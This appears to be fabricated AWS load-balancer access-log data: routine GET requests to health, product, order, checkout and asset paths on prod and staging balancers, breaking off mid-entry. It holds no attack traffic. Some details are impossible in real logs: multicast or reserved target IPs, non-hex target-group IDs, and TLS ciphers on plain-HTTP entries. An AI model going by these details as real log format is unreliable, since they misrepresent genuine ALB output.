"prod-web-alb.example.com" "-" 5 2024-11-01T01:58:23.796774Z "forward" "-" "-" "10.0.251.175:443" "200" "-" "-" +http 2024-11-01T01:58:24.442488Z staging-alb 183.48.77.207:64500 107.255.150.45:8080 0.055118 0.496908 0.092714 302 302 614 2905 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d350-2e6b9d78806b4517afb5e7fe" "staging-alb.example.com" "-" 8 2024-11-01T01:58:24.442488Z "forward" "-" "-" "107.255.150.45:8080" "302" "-" "-" +https 2024-11-01T01:58:24.771171Z prod-web-alb 191.31.86.250:18945 10.0.12.254:443 0.000429 0.123179 0.015384 404 404 838 4858 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d350-5da6f283ed2a45d195fa84b8" "prod-web-alb.example.com" "-" 3 2024-11-01T01:58:24.771171Z "forward" "-" "-" "10.0.12.254:443" "404" "-" "-" +https 2024-11-01T01:58:25.434649Z prod-api-alb 93.136.63.174:60886 10.0.90.81:443 0.006371 0.162602 0.017302 404 404 908 1242 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d351-726822637fe5474a85940569" "prod-api-alb.example.com" "-" 2 2024-11-01T01:58:25.434649Z "forward" "-" "-" "10.0.90.81:443" "404" "-" "-" +https 2024-11-01T01:58:25.594623Z prod-api-alb 16.136.224.229:33213 10.0.34.44:443 0.010701 0.329450 0.025922 302 302 131 6123 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d351-9426b625c4a14cd3a556a952" "prod-api-alb.example.com" "-" 10 2024-11-01T01:58:25.594623Z "forward" "-" "-" "10.0.34.44:443" "302" "-" "-" +https 2024-11-01T01:58:27.525636Z prod-web-alb 230.41.5.219:39829 10.0.96.254:443 0.017422 0.478566 0.078417 404 404 915 3612 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d353-9c4640f9a29a4c67ba6621de" "prod-web-alb.example.com" "-" 8 2024-11-01T01:58:27.525636Z "forward" "-" "-" "10.0.96.254:443" "404" "-" "-" +https 2024-11-01T01:58:28.310693Z prod-api-alb 132.71.158.6:21453 10.0.98.227:443 0.075039 0.478844 0.071424 200 200 645 14549 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d354-6afda23bbbd1449a9c986b53" "prod-api-alb.example.com" "-" 5 2024-11-01T01:58:28.310693Z "forward" "-" "-" "10.0.98.227:443" "200" "-" "-" +https 2024-11-01T01:58:29.521116Z staging-alb 156.187.180.136:41072 254.117.103.220:443 0.053315 0.140220 0.002395 200 200 356 7470 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d355-64332444e9714436bd615e17" "staging-alb.example.com" "-" 5 2024-11-01T01:58:29.521116Z "forward" "-" "-" "254.117.103.220:443" "200" "-" "-" +http 2024-11-01T01:58:30.651605Z staging-alb 144.39.77.180:29210 2.132.101.169:443 0.097152 0.670535 0.108048 200 200 773 8656 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d356-d7b3e89d45464a2b92affd03" "staging-alb.example.com" "-" 3 2024-11-01T01:58:30.651605Z "forward" "-" "-" "2.132.101.169:443" "200" "-" "-" +https 2024-11-01T01:58:30.781973Z prod-api-alb 6.225.246.191:15714 10.0.191.234:443 0.094251 0.124607 0.050264 200 200 554 11568 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d356-aa79f0e223144681b147614a" "prod-api-alb.example.com" "-" 10 2024-11-01T01:58:30.781973Z "forward" "-" "-" "10.0.191.234:443" "200" "-" "-" +http 2024-11-01T01:58:31.546206Z staging-alb 79.78.217.69:53199 19.199.50.193:443 0.059108 0.683540 0.076067 200 200 93 9743 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d357-d33e7d38715d4542a14eb211" "staging-alb.example.com" "-" 0 2024-11-01T01:58:31.546206Z "forward" "-" "-" "19.199.50.193:443" "200" "-" "-" +https 2024-11-01T01:58:33.223608Z prod-web-alb 81.87.42.106:32275 10.0.23.51:443 0.095509 0.306192 0.090767 302 302 379 9291 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d359-e606e6e8b98e48bea50fd41c" "prod-web-alb.example.com" "-" 2 2024-11-01T01:58:33.223608Z "forward" "-" "-" "10.0.23.51:443" "302" "-" "-" +https 2024-11-01T01:58:34.626221Z staging-alb 60.186.117.115:24296 235.216.84.10:80 0.121067 0.449697 0.090630 404 404 618 317 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d35a-1f900fe3e6a04cefa35de177" "staging-alb.example.com" "-" 8 2024-11-01T01:58:34.626221Z "forward" "-" "-" "235.216.84.10:80" "404" "-" "-" +https 2024-11-01T01:58:35.062722Z prod-web-alb 55.112.11.183:35545 10.0.89.29:443 0.059849 0.131576 0.072258 302 302 35 14551 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d35b-67ea909701614d90ba8a38ee" "prod-web-alb.example.com" "-" 1 2024-11-01T01:58:35.062722Z "forward" "-" "-" "10.0.89.29:443" "302" "-" "-" +http 2024-11-01T01:58:35.880317Z staging-alb 140.110.51.247:54495 62.184.111.21:80 0.122295 0.152410 0.022514 200 200 34 2507 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d35b-945b463aa57247c283b2436d" "staging-alb.example.com" "-" 2 2024-11-01T01:58:35.880317Z "forward" "-" "-" "62.184.111.21:80" "200" "-" "-" +https 2024-11-01T01:58:37.426181Z prod-web-alb 214.153.198.240:43027 10.0.253.79:443 0.096058 0.400873 0.025417 200 200 811 6184 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d35d-91418d712f0b4850be216e6e" "prod-web-alb.example.com" "-" 8 2024-11-01T01:58:37.426181Z "forward" "-" "-" "10.0.253.79:443" "200" "-" "-" +https 2024-11-01T01:58:39.250576Z prod-api-alb 49.150.205.98:14982 10.0.33.67:443 0.083784 0.169327 0.029035 404 404 348 2374 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d35f-81d1101943004a6699e0d999" "prod-api-alb.example.com" "-" 0 2024-11-01T01:58:39.250576Z "forward" "-" "-" "10.0.33.67:443" "404" "-" "-" +https 2024-11-01T01:58:39.375124Z prod-web-alb 224.59.83.186:26284 10.0.146.224:443 0.047749 0.370699 0.079172 200 200 987 6225 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d35f-d3af83031c13472b84ad36be" "prod-web-alb.example.com" "-" 7 2024-11-01T01:58:39.375124Z "forward" "-" "-" "10.0.146.224:443" "200" "-" "-" +http 2024-11-01T01:58:39.978739Z staging-alb 53.190.241.10:52294 134.253.4.170:443 0.099018 0.239068 0.061633 302 302 34 7367 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d35f-3083fb5cf7364898b6fe1207" "staging-alb.example.com" "-" 0 2024-11-01T01:58:39.978739Z "forward" "-" "-" "134.253.4.170:443" "302" "-" "-" +https 2024-11-01T01:58:41.778854Z prod-api-alb 41.126.115.90:34451 10.0.102.36:443 0.050522 0.098600 0.097521 200 200 912 11504 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d361-ee1d65c7338144a4be10ebdf" "prod-api-alb.example.com" "-" 4 2024-11-01T01:58:41.778854Z "forward" "-" "-" "10.0.102.36:443" "200" "-" "-" +https 2024-11-01T01:58:43.230552Z staging-alb 221.234.205.196:27313 101.20.205.138:443 0.002688 0.176568 0.028525 200 200 430 12317 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d363-f2841d06cdc44eaabb7847bc" "staging-alb.example.com" "-" 0 2024-11-01T01:58:43.230552Z "forward" "-" "-" "101.20.205.138:443" "200" "-" "-" +https 2024-11-01T01:58:44.776632Z prod-api-alb 107.107.56.237:39367 10.0.152.235:443 0.059568 0.365802 0.071786 301 301 868 9606 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d364-6845e2494bf94708b559b0cf" "prod-api-alb.example.com" "-" 1 2024-11-01T01:58:44.776632Z "forward" "-" "-" "10.0.152.235:443" "301" "-" "-" +http 2024-11-01T01:58:46.017574Z staging-alb 15.86.233.163:48246 71.217.38.243:80 0.015995 0.246187 0.061148 404 404 356 9124 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d366-7a0d5dd673cd43cab6b1d14a" "staging-alb.example.com" "-" 1 2024-11-01T01:58:46.017574Z "forward" "-" "-" "71.217.38.243:80" "404" "-" "-" +https 2024-11-01T01:58:46.459423Z staging-alb 187.136.245.169:53676 202.25.91.225:80 0.130327 0.039092 0.110231 301 301 718 2139 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d366-91bb03b726c34f90b397bc46" "staging-alb.example.com" "-" 10 2024-11-01T01:58:46.459423Z "forward" "-" "-" "202.25.91.225:80" "301" "-" "-" +https 2024-11-01T01:58:46.811113Z prod-web-alb 153.248.92.219:10227 10.0.224.46:443 0.057892 0.164508 0.076202 200 200 990 1133 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d366-1762c74569ec47818013eb4f" "prod-web-alb.example.com" "-" 8 2024-11-01T01:58:46.811113Z "forward" "-" "-" "10.0.224.46:443" "200" "-" "-" +https 2024-11-01T01:58:48.418337Z prod-web-alb 41.139.235.155:43818 10.0.5.15:443 0.023049 0.313862 0.067371 404 404 776 7668 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d368-69e3e2abb2fe498fa2b37b41" "prod-web-alb.example.com" "-" 10 2024-11-01T01:58:48.418337Z "forward" "-" "-" "10.0.5.15:443" "404" "-" "-" +https 2024-11-01T01:58:49.835725Z prod-web-alb 145.154.183.150:19255 10.0.244.103:443 0.046126 0.243401 0.070764 404 404 209 1224 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d369-a3a385e616a1458ab1858783" "prod-web-alb.example.com" "-" 1 2024-11-01T01:58:49.835725Z "forward" "-" "-" "10.0.244.103:443" "404" "-" "-" +https 2024-11-01T01:58:51.594453Z staging-alb 227.16.199.215:14574 167.185.204.252:8080 0.028700 0.206339 0.035758 301 301 260 10545 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d36b-3dd7fcaf4d724d0ca46a58fb" "staging-alb.example.com" "-" 7 2024-11-01T01:58:51.594453Z "forward" "-" "-" "167.185.204.252:8080" "301" "-" "-" +https 2024-11-01T01:58:53.590879Z prod-web-alb 197.173.19.140:44995 10.0.194.54:443 0.088405 0.070750 0.009750 301 301 469 8740 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d36d-61cb9e5b5da04c9e8242d34d" "-" "-" 1 2024-11-01T01:58:53.590879Z "forward" "-" "-" "10.0.194.54:443" "301" "-" "-" +https 2024-11-01T01:58:55.106551Z prod-api-alb 209.108.3.187:55496 10.0.56.204:443 0.028965 0.112073 0.064026 404 404 403 8549 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d36f-cd05c20b648d4d53a3ec212d" "prod-api-alb.example.com" "-" 9 2024-11-01T01:58:55.106551Z "forward" "-" "-" "10.0.56.204:443" "404" "-" "-" +https 2024-11-01T01:58:57.072467Z prod-api-alb 138.253.224.229:19047 10.0.33.122:443 0.018792 0.155096 0.056652 200 200 146 8097 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d371-09553b7583164694bbd429ff" "prod-api-alb.example.com" "-" 10 2024-11-01T01:58:57.072467Z "forward" "-" "-" "10.0.33.122:443" "200" "-" "-" +http 2024-11-01T01:58:58.622414Z staging-alb 60.30.239.93:36079 71.43.254.157:80 0.137672 0.580390 0.102024 404 404 485 2899 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d372-33c4939cd0954e8dafe9b190" "staging-alb.example.com" "-" 8 2024-11-01T01:58:58.622414Z "forward" "-" "-" "71.43.254.157:80" "404" "-" "-" +https 2024-11-01T01:59:00.341035Z prod-web-alb 215.18.170.144:53393 10.0.24.178:443 0.075546 0.071086 0.026593 404 404 4 7917 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d374-788643d3da794c60b0d35467" "prod-web-alb.example.com" "-" 0 2024-11-01T01:59:00.341035Z "forward" "-" "-" "10.0.24.178:443" "404" "-" "-" +https 2024-11-01T01:59:01.269859Z prod-api-alb 184.229.250.196:52204 10.0.1.123:443 0.043883 0.390626 0.078397 301 301 730 10339 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d375-fbc9a0dd9eb5494fb8178f49" "prod-api-alb.example.com" "-" 10 2024-11-01T01:59:01.269859Z "forward" "-" "-" "10.0.1.123:443" "301" "-" "-" +https 2024-11-01T01:59:01.406294Z prod-api-alb 25.156.199.164:35059 10.0.38.198:443 0.073451 0.080194 0.049274 301 301 812 8350 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d375-3b9f670b31e649ba98fdc6e1" "prod-api-alb.example.com" "-" 1 2024-11-01T01:59:01.406294Z "forward" "-" "-" "10.0.38.198:443" "301" "-" "-" +https 2024-11-01T01:59:02.566365Z prod-web-alb 83.99.62.112:13210 10.0.195.162:443 0.058294 0.352938 0.031120 200 200 484 6911 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d376-166afc859d0a47ebbe80620d" "prod-web-alb.example.com" "-" 2 2024-11-01T01:59:02.566365Z "forward" "-" "-" "10.0.195.162:443" "200" "-" "-" +https 2024-11-01T01:59:03.162136Z prod-api-alb 82.59.228.159:63534 10.0.238.44:443 0.002862 0.485176 0.088554 200 200 797 13837 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d377-5c0a8c65c3e046c7bcdd7eab" "prod-api-alb.example.com" "-" 5 2024-11-01T01:59:03.162136Z "forward" "-" "-" "10.0.238.44:443" "200" "-" "-" +https 2024-11-01T01:59:04.892476Z prod-api-alb 77.88.215.246:41192 10.0.63.252:443 0.026333 0.137768 0.076877 404 404 187 9487 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d378-a744b28f22404de48d0be880" "prod-api-alb.example.com" "-" 4 2024-11-01T01:59:04.892476Z "forward" "-" "-" "10.0.63.252:443" "404" "-" "-" +https 2024-11-01T01:59:05.078123Z prod-web-alb 165.87.28.229:41517 10.0.25.145:443 0.047096 0.244596 0.033235 200 200 676 13183 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d379-71ec513ad1be45cd81703969" "prod-web-alb.example.com" "-" 9 2024-11-01T01:59:05.078123Z "forward" "-" "-" "10.0.25.145:443" "200" "-" "-" +https 2024-11-01T01:59:06.010331Z prod-api-alb 204.187.127.190:19681 10.0.27.206:443 0.059466 0.278914 0.041142 200 200 378 9341 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d37a-3089f7caa7df45b197f0cfc5" "prod-api-alb.example.com" "-" 9 2024-11-01T01:59:06.010331Z "forward" "-" "-" "10.0.27.206:443" "200" "-" "-" +https 2024-11-01T01:59:06.115421Z prod-web-alb 10.17.28.101:22127 10.0.147.182:443 0.059696 0.176429 0.024687 200 200 541 8851 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d37a-d48cc691a5d34a93919e4d14" "prod-web-alb.example.com" "-" 1 2024-11-01T01:59:06.115421Z "forward" "-" "-" "10.0.147.182:443" "200" "-" "-" +http 2024-11-01T01:59:06.423587Z staging-alb 155.248.199.71:36583 77.73.12.67:80 0.087860 0.245901 0.063826 301 301 848 275 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d37a-371b448756a0471bbf77baaf" "staging-alb.example.com" "-" 1 2024-11-01T01:59:06.423587Z "forward" "-" "-" "77.73.12.67:80" "301" "-" "-" +https 2024-11-01T01:59:06.954080Z prod-web-alb 42.96.82.254:27116 10.0.223.138:443 0.081004 0.126233 0.094773 200 200 239 4096 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d37a-b9f1b794f6f64a2eb1e239c3" "prod-web-alb.example.com" "-" 10 2024-11-01T01:59:06.954080Z "forward" "-" "-" "10.0.223.138:443" "200" "-" "-" +https 2024-11-01T01:59:08.078522Z prod-api-alb 10.83.144.210:52861 10.0.190.217:443 0.010196 0.451728 0.079816 200 200 264 12063 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d37c-cbff83a036894baa9abd45fc" "prod-api-alb.example.com" "-" 6 2024-11-01T01:59:08.078522Z "forward" "-" "-" "10.0.190.217:443" "200" "-" "-" +https 2024-11-01T01:59:09.072329Z prod-api-alb 223.218.77.3:20530 10.0.50.82:443 0.031967 0.492214 0.065244 200 200 473 6777 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d37d-908af68a00f642c79368b148" "prod-api-alb.example.com" "-" 2 2024-11-01T01:59:09.072329Z "forward" "-" "-" "10.0.50.82:443" "200" "-" "-" +https 2024-11-01T01:59:09.762936Z prod-web-alb 36.208.74.238:11147 10.0.35.21:443 0.029719 0.083145 0.072143 200 200 585 13231 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d37d-a56a95399ed14b0eb61d290a" "prod-web-alb.example.com" "-" 2 2024-11-01T01:59:09.762936Z "forward" "-" "-" "10.0.35.21:443" "200" "-" "-" +https 2024-11-01T01:59:10.872162Z staging-alb 146.16.243.47:13623 5.94.62.160:80 0.136590 0.733233 0.104923 404 404 189 13705 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d37e-879eac5a02684d3abd79cc04" "staging-alb.example.com" "-" 2 2024-11-01T01:59:10.872162Z "forward" "-" "-" "5.94.62.160:80" "404" "-" "-" +https 2024-11-01T01:59:11.787654Z prod-web-alb 12.191.56.23:57070 10.0.146.227:443 0.021583 0.073949 0.062987 200 200 375 11562 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d37f-06ee73d248214b5bb6672e56" "prod-web-alb.example.com" "-" 8 2024-11-01T01:59:11.787654Z "forward" "-" "-" "10.0.146.227:443" "200" "-" "-" +http 2024-11-01T01:59:12.243868Z staging-alb 71.121.96.146:25968 14.110.94.163:8080 